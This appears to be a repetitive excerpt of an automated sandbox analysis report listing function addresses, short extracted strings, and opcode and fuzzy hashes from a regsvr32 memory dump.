Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: e8f2
API String ID: 0-4239716772
Opcode ID: 3907476c53bac25a555e3ffc467f8b6ad850bf32927a98fe31c8bf9de770097f
Instruction ID: aaec5001b0b3f576b33a9a86a913a78c3f9fdfa8ed470970e8cb6047951b043a
Opcode Fuzzy Hash: 3907476c53bac25a555e3ffc467f8b6ad850bf32927a98fe31c8bf9de770097f
Instruction Fuzzy Hash: C491C37010078E8BDF49DF24D89A5DA3BA1FB58348F114618FC5A97294C7B8EA65CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004264 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

Qhm, xrefs: 00000001800043DC

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Qhm
API String ID: 0-202924511
Opcode ID: a2bb8b1411107b7575902c6661116fd2ce5bfac275bcbff6451e16fcd58631a3
Instruction ID: dff427aa29f5729145b0ab8b996757c093157db28b416262619acb8c77b37c14
Opcode Fuzzy Hash: a2bb8b1411107b7575902c6661116fd2ce5bfac275bcbff6451e16fcd58631a3
Instruction Fuzzy Hash: 1D511479517209CBCB69CF38D4D56E93BE0EF68344F20012DFC668B2A2DB70D5268B48

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000796C Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

WZ', xrefs: 0000000180007AF5

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: WZ'
API String ID: 0-1944904082
Opcode ID: 8b55f411d49b287bdfafef9dc47725f2bb274e5ab4be629ead2bc2b735d307b3
Instruction ID: 5b5aaaf1f09ca5557c90149fa64bb16396cbc43774f49a57b3b09e68a9cf408c
Opcode Fuzzy Hash: 8b55f411d49b287bdfafef9dc47725f2bb274e5ab4be629ead2bc2b735d307b3
Instruction Fuzzy Hash: F171087155878CDBDBBADF28C8897D937B1FB98304F908219D80E8E254DB785B4ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001303C Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

-], xrefs: 000000018001305F

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -]
API String ID: 0-3195032325
Opcode ID: 2f387ab0a9f756c6099ceefcc45306d74e879ef7c324eb87884d154b92a960fc
Instruction ID: 01c3c27378e714c100c9a801295078fc99e5b088b1ed4129002e73aaaa485763
Opcode Fuzzy Hash: 2f387ab0a9f756c6099ceefcc45306d74e879ef7c324eb87884d154b92a960fc
Instruction Fuzzy Hash: 0151297010064D8BCB49DF28D4855D93FE1FB0C3ACF1A6318FD4AAA251D774D989CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018DBC Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

}4}, xrefs: 0000000180018EB0

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }4}
API String ID: 0-922147943
Opcode ID: 13f685bfa53c13813d4a1c5d0eb0e1f62a0b1129b8c138172dc2148ffb4c9b25
Instruction ID: d7790a4c64fa8f9a696ea70ce14f4ff71b76161c227bc6b72ade158e86aff98b
Opcode Fuzzy Hash: 13f685bfa53c13813d4a1c5d0eb0e1f62a0b1129b8c138172dc2148ffb4c9b25
Instruction Fuzzy Hash: 3461F2B090075D8FCF48DFA4C88A5EEBBB0FB18348F114219E849B6250D7789A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F2DC Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

J_H, xrefs: 000000018000F481

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: J_H
API String ID: 0-3345504573
Opcode ID: 917d428dc0055415592351f28073fdc95282f2729562562c1ca0dc8b4505919e
Instruction ID: 228b1474463df3943694e07488ce24e2c321c70e95dbe7fca5aca48057557888
Opcode Fuzzy Hash: 917d428dc0055415592351f28073fdc95282f2729562562c1ca0dc8b4505919e
Instruction Fuzzy Hash: EE71E3B1904789CBDBB9DFA4C8896DDBBB0FB48344F20421EDC5AAB251DBB45685CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007F74 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

6p, xrefs: 0000000180008042

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6p
API String ID: 0-4149211260
Opcode ID: 2ce6c019f8e175d8f04f96ba0abbac2df009c59e7d0a66d8d52c33c4e2d2dbc2
Instruction ID: 4bbd446beaef8e149afb4be24994101fb76057089ac3c5e28d57a25dd33f9813
Opcode Fuzzy Hash: 2ce6c019f8e175d8f04f96ba0abbac2df009c59e7d0a66d8d52c33c4e2d2dbc2
Instruction Fuzzy Hash: 5D512670D0470E8FDBA5CFA4C4863EEBBF0FB58344F208519E155B6251C7789A498BD6

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019900 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

o-b, xrefs: 00000001800199B2

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: o-b
API String ID: 0-1062997908
Opcode ID: 576a5f5008345344db0b8e3d8b9e4c65842e933aac756182c5b50859cc037c1c
Instruction ID: 42124e7df8dcd8895505725edc86312d8ed31e4959f5f45477de907a66349d68
Opcode Fuzzy Hash: 576a5f5008345344db0b8e3d8b9e4c65842e933aac756182c5b50859cc037c1c
Instruction Fuzzy Hash: 5951177050064D8BDB94DF58C48A6DE3BE0FB28398F254219FC4AA6250D7789699CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008534 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

>(O, xrefs: 0000000180008660

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: >(O
API String ID: 0-1787487011
Opcode ID: b44782859c9866ecf0a367f2980fc160796e99ead2e04d39a5c7d0e6a088d4a1
Instruction ID: 047403745ffdf525a43130cb5f0cbada7355141308e198c8a6f422d75d1d2ed5
Opcode Fuzzy Hash: b44782859c9866ecf0a367f2980fc160796e99ead2e04d39a5c7d0e6a088d4a1
Instruction Fuzzy Hash: FB51D0B090078A8BCF4CDF64C8964EE7BB1FB48344F418A1DE966A6350D3B49665CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800254E4 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

8:*, xrefs: 0000000180025571

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8:*
API String ID: 0-724269717
Opcode ID: e3fa9c188720ae3383b8778e69c2785bb5a3de525a41bd4bbc95f284b45543ac
Instruction ID: 711009871b2250b35f00fe0553413368f045348530dbac453829dc2cbdd56c12
Opcode Fuzzy Hash: e3fa9c188720ae3383b8778e69c2785bb5a3de525a41bd4bbc95f284b45543ac
Instruction Fuzzy Hash: DE519FB491074A8FCF48CF68D48A4DEBFB0FB68398F604519EC56AA250D37496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001B8C Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

rX, xrefs: 0000000180001BA6

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: rX
API String ID: 0-981687150
Opcode ID: 72326b85271c7a937057e165988be4f12753e05fcac8eb4b8ea4e21389b64c69
Instruction ID: b6d69565f821f61997a80366e3bba675c41573294b632c1fc230c031640afc4a
Opcode Fuzzy Hash: 72326b85271c7a937057e165988be4f12753e05fcac8eb4b8ea4e21389b64c69
Instruction Fuzzy Hash: 4151AFB090034E9FCB88CF64D48A5DE7FF0FB68398F204619E856A6250D7B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A6BC Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

Mf_, xrefs: 000000018002A7D8

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Mf_
API String ID: 0-1332758469
Opcode ID: fb88f28924fad9aaa6151cff677ca0e0efdf4f904b7a048c95071875f4937966
Instruction ID: 588ebf95624ee4adfb38f08f1f8e1a2e631849e2b9196c961bccb52f3d8eb30d
Opcode Fuzzy Hash: fb88f28924fad9aaa6151cff677ca0e0efdf4f904b7a048c95071875f4937966
Instruction Fuzzy Hash: 72413A7051034E8BDB49DF24C88A6DE3FA0FB28388F254619FC4AA6250D774DA99CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800010E8 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180001159

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X
API String ID: 0-1684620495
Opcode ID: 95d6dfd1a906a0706b046fd694ee3460552bea9bfe9cb5e2a40ac0cd4b690da8
Instruction ID: f9643209bdbdb1888c2e59a9774da8228396ec72f530c9748c2220c9be6d5877
Opcode Fuzzy Hash: 95d6dfd1a906a0706b046fd694ee3460552bea9bfe9cb5e2a40ac0cd4b690da8
Instruction Fuzzy Hash: BC41B2B050C3858BC368DF69D49A51BFFF0FB8A344F104A1DF68686660D7B6D985CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A0F8 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

*ZP, xrefs: 000000018002A1F1

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *ZP
API String ID: 0-3785686542
Opcode ID: 124ec41d44a3523d05a66609c609173a78c4b3624f4a4e6496b4e9e6556fc9cc
Instruction ID: cd700ac0e72fdea100a6c678007ea8a5747de393b09cc95ae15ed8a735d2c9a6
Opcode Fuzzy Hash: 124ec41d44a3523d05a66609c609173a78c4b3624f4a4e6496b4e9e6556fc9cc
Instruction Fuzzy Hash: C351A3B490038EDFCB89CF64D88A5CE7BB0FB14358F104A19F826A6260D7B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FE08 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

m9, xrefs: 000000018000FF4F

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: m9
API String ID: 0-3356931199
Opcode ID: 59db1ee33f63e0a2717973542dec2f5b5e1c1c898ff6bc1b3de0a09d2022d082
Instruction ID: d52339509a2a8a66acc38e501e73e88f1da459d23edb33c529fdb618239225c9
Opcode Fuzzy Hash: 59db1ee33f63e0a2717973542dec2f5b5e1c1c898ff6bc1b3de0a09d2022d082
Instruction Fuzzy Hash: AC41DFB091074E8BDB48CF68C48A5DE7FF0FB58388F24821DE816A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029F5C Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

4pI, xrefs: 000000018002A04A

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 4pI
API String ID: 0-4229698716
Opcode ID: 2de104f479e2b2f02d24493f8855e4bc5dcdc9c63e6a51756a92895ab6f7f3eb
Instruction ID: 0770ca01e568b3f0bfe5184ab77212d0ab800e579d58ef6f76929ab8cb5ebb0d
Opcode Fuzzy Hash: 2de104f479e2b2f02d24493f8855e4bc5dcdc9c63e6a51756a92895ab6f7f3eb
Instruction Fuzzy Hash: 2741F4B190074E8BCF48CFA8C89A5DE7FB0FB58358F10561DE826A6250D3B49658CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC70 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

T7, xrefs: 000000018000BD11

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: T7
API String ID: 0-2187045315
Opcode ID: 5b373cdcbe2aa1956c24a8ef4c3b2010382917b3ef4417ae897a4905ea2e7e5d
Instruction ID: e445a35d468e15d444dcf9e81ad6d1cbfbebd9662ebae466ae50992912f39bd9
Opcode Fuzzy Hash: 5b373cdcbe2aa1956c24a8ef4c3b2010382917b3ef4417ae897a4905ea2e7e5d
Instruction Fuzzy Hash: 6B41E3B191074A8BCF48CF68C48A4DE7FB0FF68398F214609E856A6250D3B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002143C Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

Y[, xrefs: 000000018002149C

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Y[
API String ID: 0-1945238269
Opcode ID: 31c1f4254bc290cabebbeaadf273c7758becd057e90036f86d7834daa6438d30
Instruction ID: 277041adf1a083522e20f1ff56a0db14356653c4c70dd43ccf4c86f47916e8c3
Opcode Fuzzy Hash: 31c1f4254bc290cabebbeaadf273c7758becd057e90036f86d7834daa6438d30
Instruction Fuzzy Hash: C941E67091038E8FCB48DF68C88A5DE7BB1FB58358F10461DEC6AAB250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029DF0 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

[, xrefs: 0000000180029F20

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [
API String ID: 0-784033777
Opcode ID: 593e2affadbd7d43363044155888d79a97a338ed63d972069ddab33477027861
Instruction ID: 430e1a122fe0b20a7e1e6f195b5c5d6ab4e3c741a825a8fe397d5d7cdac5a180
Opcode Fuzzy Hash: 593e2affadbd7d43363044155888d79a97a338ed63d972069ddab33477027861
Instruction Fuzzy Hash: 2841E4B090074E8BCB48CF64C89A4EE7FF1FB68358F11461DE856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B948 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

9 m, xrefs: 000000018000BA3A

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 9 m
API String ID: 0-1920745034
Opcode ID: 403251bbe0303adcdb9fc718cab8a153fac6736b8b0f21ecfcc0465734d374f6
Instruction ID: 3be0e43e89224af25a3a96d245761afcbfad2e5132df1735d4859c98edb6e384
Opcode Fuzzy Hash: 403251bbe0303adcdb9fc718cab8a153fac6736b8b0f21ecfcc0465734d374f6
Instruction Fuzzy Hash: 5D41A6B180038ECFCB48CF68C88A5DE7FB1FB58358F114A19F869A6210D7B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003840 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

wo0, xrefs: 0000000180003947

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wo0
API String ID: 0-1782833155
Opcode ID: 915272897a82389ccaff6fb74a1b6d3f763f551119c92165f64424d72f92453c
Instruction ID: 9062cfcdbd96f40b118b25d613ee2554a2eb62b456f013d12e1abcba11dd4c76
Opcode Fuzzy Hash: 915272897a82389ccaff6fb74a1b6d3f763f551119c92165f64424d72f92453c
Instruction Fuzzy Hash: AD4104B090034E8BCB48CF68C4865DE7FB0FB48358F11861DE85AAA250D7749664CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800257C0 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

0FT, xrefs: 00000001800258AF

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0FT
API String ID: 0-3306264968
Opcode ID: 221a7c3e7820f489f33ab0bfd813c90db956588b7e3f278aa32cbc5897504973
Instruction ID: 6bc0069c9e8fc616ccef226ca938112ebcbb35ca2f33a2ab28ad344b092e513b
Opcode Fuzzy Hash: 221a7c3e7820f489f33ab0bfd813c90db956588b7e3f278aa32cbc5897504973
Instruction Fuzzy Hash: 30419FB090078E8FCB49CF64C88A5DE7BB0FB18358F104A19E866A7250D7B8D665CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E638 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

[Mh<, xrefs: 000000018000E689

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [Mh<
API String ID: 0-3342980100
Opcode ID: 8db4eb38f9ab2c3bc7d36487ff8b598b8cd98b11ddd9dbc7aed51384deea61bf
Instruction ID: 3dfa530075d16dbdc0ab74c4fd592fdc9016efe2b3d8749faa49a3b984689735
Opcode Fuzzy Hash: 8db4eb38f9ab2c3bc7d36487ff8b598b8cd98b11ddd9dbc7aed51384deea61bf
Instruction Fuzzy Hash: 3D41B4B090034E8BDB88DF68C88A4DE7FF0FB58398F104619E855A6250D37496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C740 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

[*y, xrefs: 000000018000C7E8

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [*y
API String ID: 0-3642367475
Opcode ID: f920a7f17afa669f85dd4fa2bbc3f052cb99f05070bc78a3fd5f717c453881c3
Instruction ID: f49b88a051f724710f0cfdc48a2fab0be3c7391659c99e254e23c0044fb95fb4
Opcode Fuzzy Hash: f920a7f17afa669f85dd4fa2bbc3f052cb99f05070bc78a3fd5f717c453881c3
Instruction Fuzzy Hash: 9F318C746183858B8748DF28D45641ABBE1FBCC308F405B2DF8CAAB291D7789641CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800117C4 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

dk, xrefs: 0000000180011856

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dk
API String ID: 0-2586313868
Opcode ID: 8a4805f75226fc2840e2c7b063b7b1e39b1ba6f4f5ce1306a123ad924c24cf9d
Instruction ID: bd21a50a93d9ce141822b95cdb4ee263f008649e2ad7f0911c2a62c734e6813a
Opcode Fuzzy Hash: 8a4805f75226fc2840e2c7b063b7b1e39b1ba6f4f5ce1306a123ad924c24cf9d
Instruction Fuzzy Hash: 8631E4B0508B808BC75CDF28C49A51BBBF1FBC6354F504A1CF686863A0DBB6D849CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B444 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

m?@, xrefs: 000000018000B53F

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: m?@
API String ID: 0-4017832957
Opcode ID: 92bb4875fae3dfbb536cc4a594f9b8f02b4b9fef725d60d218a6fcb850c1db5e
Instruction ID: 763f89865c62d32814b91696e152b9bff8d9fc03c4acc356d14baff2dc9750fc
Opcode Fuzzy Hash: 92bb4875fae3dfbb536cc4a594f9b8f02b4b9fef725d60d218a6fcb850c1db5e
Instruction Fuzzy Hash: B231BF752187858BC749DF28C04A41ABBE1FB8D30CF504B2DF4CAA6350D778D616CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800064D0 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

MR, xrefs: 0000000180006504

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: MR
API String ID: 0-1985102067
Opcode ID: c3045b5f67f41fb122cd1cd8de18bcca47d48181f2768d112050a64545bdb3cc
Instruction ID: 3dc758c2b0da019c4ef40f7354f1f5afd613488c2e2992af3e697213e5bda16f
Opcode Fuzzy Hash: c3045b5f67f41fb122cd1cd8de18bcca47d48181f2768d112050a64545bdb3cc
Instruction Fuzzy Hash: 9F215CB05187808BD749DF28C55941EBBE1BB9D30CF804B2DF4CAAA251D778DA05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010050 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

h{9, xrefs: 00000001800100B7

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h{9
API String ID: 0-709585855
Opcode ID: 158519ec253ad62ee934b2a1f06c22473a728e5d40c1cbc8d8e2591bd6c1f9a1
Instruction ID: 28d7748f9e23597285172eede27c795ca80d4d45ffdf147c2eecc812d7a7424c
Opcode Fuzzy Hash: 158519ec253ad62ee934b2a1f06c22473a728e5d40c1cbc8d8e2591bd6c1f9a1
Instruction Fuzzy Hash: A22180B152D785AFC788DF28C59991ABBE0FB98308F806E1DF9868A250D374D545CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800036A8 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

=WQ, xrefs: 0000000180003772

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =WQ
API String ID: 0-979633440
Opcode ID: beecb343f63eb420ad30c3b234d671f41fcffe89ae230601040905a52fbe6922
Instruction ID: f1c989dca105177ef840caf4573424004201902730bc760d24db79eb0592445f
Opcode Fuzzy Hash: beecb343f63eb420ad30c3b234d671f41fcffe89ae230601040905a52fbe6922
Instruction Fuzzy Hash: 2C2146746187848B8749DF28C44A51ABBE1BB8D30CF804B1DF8CAAB250D7789A05CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800202E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d58b218a6fad6bc529337baac5d9ed9f8b1cbf9dbb0a3b92ec118c03c99fb86
Instruction ID: c77f93fcecba916d7a728a8c6eb3e78c0c4fd01b54dcd62d4346d4040ea08623
Opcode Fuzzy Hash: 0d58b218a6fad6bc529337baac5d9ed9f8b1cbf9dbb0a3b92ec118c03c99fb86
Instruction Fuzzy Hash: 28E11E7090470D8FCF59DF68D446AEE7BB6FB48344F504129EC4EAB251DB74AA08CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A840 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c8b8be56366865ecfdde9c8b2ec8895e219799960cb59c8d6409a7e773344f9
Instruction ID: 37013b96f87cdafdf9e9430ef7fa874701b46d6ad591addafa58d16b7588ecf0
Opcode Fuzzy Hash: 1c8b8be56366865ecfdde9c8b2ec8895e219799960cb59c8d6409a7e773344f9
Instruction Fuzzy Hash: 7E811370D047098FDB89CFA8D4856EEBBF1FB48314F14812EE846B6250CB788A49CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025E88 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636ed3c89b38e63114f2d2672b542ea9429d7597145989221425ac881483aa9e
Instruction ID: 9c3afdfbfdf497047419e96e23ac648a32a0c35cf7c10b77ff2162508d5b9c58
Opcode Fuzzy Hash: 636ed3c89b38e63114f2d2672b542ea9429d7597145989221425ac881483aa9e
Instruction Fuzzy Hash: 68715B70A0460D8FCFA9DF64D0857EE77F2FB48348F109169E856972A2DB74DA18CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E278 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

